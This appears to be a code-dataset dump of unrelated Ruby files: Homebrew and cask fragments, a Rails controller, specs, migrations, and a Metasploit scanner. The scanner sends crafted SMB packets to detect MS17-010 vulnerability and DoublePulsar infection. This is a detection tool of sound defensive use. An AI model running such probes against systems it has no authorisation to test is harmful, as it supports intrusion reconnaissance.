inreplace 'src/libdoxycfg.t' do |s|
lex = s.get_make_var 'LEX'
yacc = s.get_make_var 'YACC'
end
inreplace 'src/Makefile.libdoxycfg' do |s|
s.change_make_var! 'LEX', lex
s.change_make_var! 'YACC', yacc
end
system "make"
# MAN1DIR, relative to the given prefix
system "make", "MAN1DIR=share/man/man1", "install"
end
end
__END__
# On Mac OS Qt builds an application bundle rather than a binary. We need to
# give install the correct path to the doxywizard binary. This is similar to
# what macports does:
diff --git a/addon/doxywizard/Makefile.in b/addon/doxywizard/Makefile.in
index 727409a..8b0d00f 100644
--- a/addon/doxywizard/Makefile.in
+++ b/addon/doxywizard/Makefile.in
@@ -30,7 +30,7 @@ distclean: Makefile.doxywizard
install:
$(INSTTOOL) -d $(INSTALL)/bin
- $(INSTTOOL) -m 755 ../../bin/doxywizard $(INSTALL)/bin
+ $(INSTTOOL) -m 755 ../../bin/doxywizard.app/Contents/MacOS/doxywizard $(INSTALL)/bin
$(INSTTOOL) -d $(INSTALL)/$(MAN1DIR)
cat ../../doc/doxywizard.1 | sed -e "s/DATE/$(DATE)/g" -e "s/VERSION/$(VERSION)/g" > doxywizard.1
$(INSTTOOL) -m 644 doxywizard.1 $(INSTALL)/$(MAN1DIR)/doxywizard.1
| 36.586207 | 100 | 0.663211 |
3378beee2a23ef8673b8165790032005f4efe910 | 343 | class Tangerine < Cask
version '1.4.8'
sha256 'dea00674331b1aa663cf00f64b0ce208638a136575987e1a7f50bd135117f2d9'
url "http://distrib.karelia.com/downloads/Tangerine!-4008.zip"
homepage 'http://www.karelia.com/products/tangerine/'
license :unknown
app 'Tangerine!.app'
postflight do
suppress_move_to_applications
end
end
| 22.866667 | 75 | 0.772595 |
28472966464ba522dfd2a3eef14cbbf62f7c383d | 1,867 | # frozen_string_literal: true
class PicturePhenotypeCommentsController < ApplicationController
before_filter :require_user
def new
@phenotype_comment = PicturePhenotypeComment.new
@title = 'Add comment'
respond_to do |format|
format.html
format.xml { render xml: @phenotype }
end
end
def create
@phenotype_comment = PicturePhenotypeComment.new(picture_phenotype_comment_params)
if @phenotype_comment.comment_text.index(/\A(\@\#\d*\:)/) == nil
@phenotype_comment.reply_to_id = -1
else
@potential_reply_id = @phenotype_comment.comment_text.split()[0].chomp(':').gsub('@#', '').to_i
if PicturePhenotypeComment.find_by_id(@potential_reply_id) != nil
@phenotype_comment.reply_to_id = @potential_reply_id
else
@phenotype_comment.reply_to_id = -1
end
@phenotype_comment.comment_text = @phenotype_comment.comment_text.gsub(/\A(\@\#\d*\:)/, '')
end
@phenotype_comment.user_id = current_user.id
@phenotype_comment.picture_phenotype_id = params[:picture_phenotype_comment][:picture_phenotype_id]
if @phenotype_comment.save
if @phenotype_comment.reply_to_id != -1
@reply_user = PicturePhenotypeComment.find_by_id(@phenotype_comment.reply_to_id).user
if@reply_user != nil
if @reply_user.message_on_phenotype_comment_reply == true
UserMailer.new_picture_phenotype_comment(@phenotype_comment,@reply_user).deliver_later
end
end
end
redirect_to '/picture_phenotypes/' + @phenotype_comment.picture_phenotype_id.to_s + '#comments', notice: 'Comment succesfully created.'
else
render action: 'new'
end
end
private
def picture_phenotype_comment_params
params.require(:picture_phenotype_comment)
.permit(:comment_text, :subject, :picture_phenotype_id)
end
end
| 34.574074 | 141 | 0.716122 |
ed51348bbd64e2c1fab9264a4e335502505f8f8f | 215 | # frozen_string_literal: true
require 'spec_helper'
describe GrapeSwagger do
it '#version' do
expect(GrapeSwagger::VERSION).to_not be_nil
expect(GrapeSwagger::VERSION.split('.').count).to eq 3
end
end
| 19.545455 | 58 | 0.739535 |
1d569c7cd2dd1b37ab70b8ee764a9077887b38cb | 2,365 | module Account::Users::ControllerBase
extend ActiveSupport::Concern
included do
load_and_authorize_resource :user, class: "User", prepend: true,
member_actions: (defined?(MEMBER_ACTIONS) ? MEMBER_ACTIONS : []),
collection_actions: (defined?(COLLECTION_ACTIONS) ? COLLECTION_ACTIONS : [])
before_action do
# for magic locales.
@child_object = @user
end
end
# GET /account/users/1/edit
def edit
end
# GET /account/users/1
def show
end
def updating_password?
params[:user].key?(:password)
end
# PATCH/PUT /account/users/1
# PATCH/PUT /account/users/1.json
def update
respond_to do |format|
if updating_password? ? @user.update_with_password(user_params) : @user.update_without_password(user_params)
# if you update your own user account, devise will normally kick you out, so we do this instead.
bypass_sign_in current_user.reload
format.html { redirect_to [:edit, :account, @user], notice: t("users.notifications.updated") }
format.json { render :show, status: :ok, location: [:account, @user] }
else
format.html { render :edit, status: :unprocessable_entity }
format.json { render json: @user.errors, status: :unprocessable_entity }
end
end
end
private
def permitted_fields
raise "It looks like you've removed `permitted_fields` from your controller. This will break Super Scaffolding."
end
def permitted_arrays
raise "It looks like you've removed `permitted_arrays` from your controller. This will break Super Scaffolding."
end
def process_params(strong_params)
raise "It looks like you've removed `process_params` from your controller. This will break Super Scaffolding."
end
# Never trust parameters from the scary internet, only allow the white list through.
def user_params
# TODO enforce permissions on updating the user's team name.
strong_params = params.require(:user).permit(
*([
:email,
:first_name,
:last_name,
:time_zone,
:current_password,
:password,
:password_confirmation,
:profile_photo_id,
:locale,
] + permitted_fields + [
{
current_team_attributes: [:name]
}.merge(permitted_arrays)
])
)
process_params(strong_params)
end
end
| 29.197531 | 116 | 0.676533 |
7a8763b2631093502fbe0af3ae17b59ff2d75425 | 38 | module Pebble
VERSION = "0.1.2"
end
| 9.5 | 19 | 0.657895 |
3806884ffbd48072423b388f0e640197c12570a6 | 933 | # == Schema Information
#
# Table name: credentials
#
# id :integer not null, primary key
# beeminder_user_id :string not null
# provider_name :string not null
# uid :string default(""), not null
# info :json not null
# credentials :json not null
# extra :json not null
# created_at :datetime
# updated_at :datetime
# password :string default(""), not null
#
=begin
* Created by PSU Beeminder Capstone Team on 3/12/2017.
* Copyright (c) 2017 PSU Beeminder Capstone Team
* This code is available under the "MIT License".
* Please see the file LICENSE in this distribution for license terms.
=end
FactoryGirl.define do
factory :credential do
user
provider_name :pocket
uid { |i| "uid_#{i}" }
credentials(token: "token")
end
end
| 30.096774 | 70 | 0.575563 |
1afe161375e9cceaca8679fd4443afe889d1ac8b | 380 | require 'bundler/setup'
require 'github_org_activity_devs'
RSpec.configure do |config|
# Enable flags like --only-failures and --next-failure
config.example_status_persistence_file_path = '.rspec_status'
# Disable RSpec exposing methods globally on `Module` and `main`
config.disable_monkey_patching!
config.expect_with :rspec do |c|
c.syntax = :expect
end
end
| 25.333333 | 66 | 0.763158 |
ff3ea6f3f63117c46943328881c209e8992d10ed | 746 | #!/usr/local/bin/ruby
require 'mxx_ru/cpp'
MxxRu::Cpp::composite_target {
path = 'test/so_5/enveloped_msg'
required_prj "#{path}/simplest/prj.ut.rb"
required_prj "#{path}/adv_thread_pool/prj.ut.rb"
required_prj "#{path}/simple_timer/prj.ut.rb"
required_prj "#{path}/simple_delivery_filter/prj.ut.rb"
required_prj "#{path}/simple_mchain_delivery/prj.ut.rb"
required_prj "#{path}/simple_mchain_timer/prj.ut.rb"
required_prj "#{path}/mchain_handled_count/prj.ut.rb"
required_prj "#{path}/message_limits/build_tests.rb"
required_prj "#{path}/transfer_to_state/prj.ut.rb"
required_prj "#{path}/transfer_to_state_2/prj.ut.rb"
required_prj "#{path}/suppress_event/prj.ut.rb"
required_prj "#{path}/suppress_event_mutable/prj.ut.rb"
}
| 29.84 | 56 | 0.758713 |
4a91a59f371826cb84b8d23092bb8b1e100a4459 | 148 | class ChangeCodigoPostalToString < ActiveRecord::Migration[4.2]
def change
change_column :codigos_postales, :codigo_postal, :string
end
end
| 24.666667 | 63 | 0.790541 |
e97ceb48cd4c0b9877058895a7db65c31512aaae | 333 | module CampaignsHelper
def campaign_params(name, medium = 'dm')
{
via: name,
utm_source: name,
utm_medium: medium,
utm_campaign: name,
}
end
def dialog_params
{
follow_dialog: 1,
sign_in_dialog: 1,
share_dialog: 1,
purchase_dialog: 1
}
end
end
| 16.65 | 42 | 0.561562 |
bf8250ff5bd54ad35775703d4a6868b146ec0de7 | 8,747 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'MS17-010 SMB RCE Detection',
'Description' => %q{
Uses information disclosure to determine if MS17-010 has been patched or not.
Specifically, it connects to the IPC$ tree and attempts a transaction on FID 0.
If the status returned is "STATUS_INSUFF_SERVER_RESOURCES", the machine does
not have the MS17-010 patch.
If the machine is missing the MS17-010 patch, the module will check for an
existing DoublePulsar (ring 0 shellcode/malware) infection.
This module does not require valid SMB credentials in default server
configurations. It can log on as the user "\" and connect to IPC$.
},
'Author' =>
[
'Sean Dillon <[email protected]>', # @zerosum0x0
'Luke Jennings' # DoublePulsar detection Python code
],
'References' =>
[
[ 'AKA', 'DOUBLEPULSAR' ],
[ 'AKA', 'ETERNALBLUE' ],
[ 'CVE', '2017-0143'],
[ 'CVE', '2017-0144'],
[ 'CVE', '2017-0145'],
[ 'CVE', '2017-0146'],
[ 'CVE', '2017-0147'],
[ 'CVE', '2017-0148'],
[ 'MSB', 'MS17-010'],
[ 'URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],
[ 'URL', 'https://github.com/countercept/doublepulsar-detection-script'],
[ 'URL', 'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx']
],
'License' => MSF_LICENSE
))
register_options(
[
OptBool.new('CHECK_DOPU', [true, 'Check for DOUBLEPULSAR on vulnerable hosts', true]),
OptBool.new('CHECK_ARCH', [true, 'Check for architecture on vulnerable hosts', true])
])
end
# algorithm to calculate the XOR Key for DoublePulsar knocks
def calculate_doublepulsar_xor_key(s)
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
x & 0xffffffff # this line was added just to truncate to 32 bits
end
# The arch is adjacent to the XOR key in the SMB signature
def calculate_doublepulsar_arch(s)
s == 0 ? 'x86 (32-bit)' : 'x64 (64-bit)'
end
def run_host(ip)
begin
ipc_share = "\\\\#{ip}\\IPC$"
tree_id = do_smb_setup_tree(ipc_share)
vprint_status("Connected to #{ipc_share} with TID = #{tree_id}")
status = do_smb_ms17_010_probe(tree_id)
vprint_status("Received #{status} with FID = 0")
if status == "STATUS_INSUFF_SERVER_RESOURCES"
os = simple.client.peer_native_os
if datastore['CHECK_ARCH']
case dcerpc_getarch
when ARCH_X86
os << ' x86 (32-bit)'
when ARCH_X64
os << ' x64 (64-bit)'
end
end
print_good("Host is likely VULNERABLE to MS17-010! - #{os}")
report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: "STATUS_INSUFF_SERVER_RESOURCES for FID 0 against IPC$ - #{os}"
)
# vulnerable to MS17-010, check for DoublePulsar infection
if datastore['CHECK_DOPU']
code, signature1, signature2 = do_smb_doublepulsar_probe(tree_id)
if code == 0x51
xor_key = calculate_doublepulsar_xor_key(signature1).to_s(16).upcase
arch = calculate_doublepulsar_arch(signature2)
print_warning("Host is likely INFECTED with DoublePulsar! - Arch: #{arch}, XOR Key: 0x#{xor_key}")
report_vuln(
host: ip,
name: "MS17-010 DoublePulsar Infection",
refs: self.references,
info: "MultiPlexID += 0x10 on Trans2 request - Arch: #{arch}, XOR Key: 0x#{xor_key}"
)
end
end
elsif status == "STATUS_ACCESS_DENIED" or status == "STATUS_INVALID_HANDLE"
# STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others)
print_error("Host does NOT appear vulnerable.")
else
print_error("Unable to properly detect if host is vulnerable.")
end
rescue ::Interrupt
print_status("Exiting on interrupt.")
raise $!
rescue ::Rex::Proto::SMB::Exceptions::LoginError
print_error("An SMB Login Error occurred while connecting to the IPC$ tree.")
rescue ::Exception => e
vprint_error("#{e.class}: #{e.message}")
ensure
disconnect
end
end
def do_smb_setup_tree(ipc_share)
connect
# logon as user \
simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])
# connect to IPC$
simple.connect(ipc_share)
# return tree
return simple.shares[ipc_share]
end
def do_smb_doublepulsar_probe(tree_id)
# make doublepulsar knock
pkt = make_smb_trans2_doublepulsar(tree_id)
sock.put(pkt)
bytes = sock.get_once
# convert packet to response struct
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
pkt.from_s(bytes[4..-1])
return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']
end
def do_smb_ms17_010_probe(tree_id)
# request transaction with fid = 0
pkt = make_smb_trans_ms17_010(tree_id)
sock.put(pkt)
bytes = sock.get_once
# convert packet to response struct
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
pkt.from_s(bytes[4..-1])
# convert error code to string
code = pkt['SMB'].v['ErrorClass']
smberr = Rex::Proto::SMB::Exceptions::ErrorCode.new
return smberr.get_error(code)
end
def make_smb_trans2_doublepulsar(tree_id)
# make a raw transaction packet
# this one is a trans2 packet, the checker is trans
pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct
simple.client.smb_defaults(pkt['Payload']['SMB'])
# opcode 0x0e = SESSION_SETUP
setup = "\x0e\x00\x00\x00"
setup_count = 1 # 1 word
trans = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# calculate offsets to the SetupData payload
base_offset = pkt.to_s.length + (setup.length) - 4
param_offset = base_offset + trans.length
data_offset = param_offset # + 0
# packet baselines
pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['MultiplexID'] = 65
pkt['Payload']['SMB'].v['Flags2'] = 0xc007
pkt['Payload']['SMB'].v['TreeID'] = tree_id
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
pkt['Payload'].v['Timeout'] = 0x00a4d9a6
pkt['Payload'].v['ParamCountTotal'] = 12
pkt['Payload'].v['ParamCount'] = 12
pkt['Payload'].v['ParamCountMax'] = 1
pkt['Payload'].v['DataCountMax'] = 0
pkt['Payload'].v['ParamOffset'] = 66
pkt['Payload'].v['DataOffset'] = 78
pkt['Payload'].v['SetupCount'] = setup_count
pkt['Payload'].v['SetupData'] = setup
pkt['Payload'].v['Payload'] = trans
pkt.to_s
end
def make_smb_trans_ms17_010(tree_id)
# make a raw transaction packet
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_PKT.make_struct
simple.client.smb_defaults(pkt['Payload']['SMB'])
# opcode 0x23 = PeekNamedPipe, fid = 0
setup = "\x23\x00\x00\x00"
setup_count = 2 # 2 words
trans = "\\PIPE\\\x00"
# calculate offsets to the SetupData payload
base_offset = pkt.to_s.length + (setup.length) - 4
param_offset = base_offset + trans.length
data_offset = param_offset # + 0
# packet baselines
pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2801 # 0xc803 would unicode
pkt['Payload']['SMB'].v['TreeID'] = tree_id
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
pkt['Payload'].v['ParamCountMax'] = 0xffff
pkt['Payload'].v['DataCountMax'] = 0xffff
pkt['Payload'].v['ParamOffset'] = param_offset
pkt['Payload'].v['DataOffset'] = data_offset
# actual magic: PeekNamedPipe FID=0, \PIPE\
pkt['Payload'].v['SetupCount'] = setup_count
pkt['Payload'].v['SetupData'] = setup
pkt['Payload'].v['Payload'] = trans
pkt.to_s
end
end
| 34.848606 | 110 | 0.625357 |
6ad0d0837188b7b2440a5e897f01e5acc5d13526 | 128 | class CreateJoinTableAssembliesParts < ActiveRecord::Migration
def change
create_join_table :parts, :assemblies
end
end
| 21.333333 | 62 | 0.804688 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.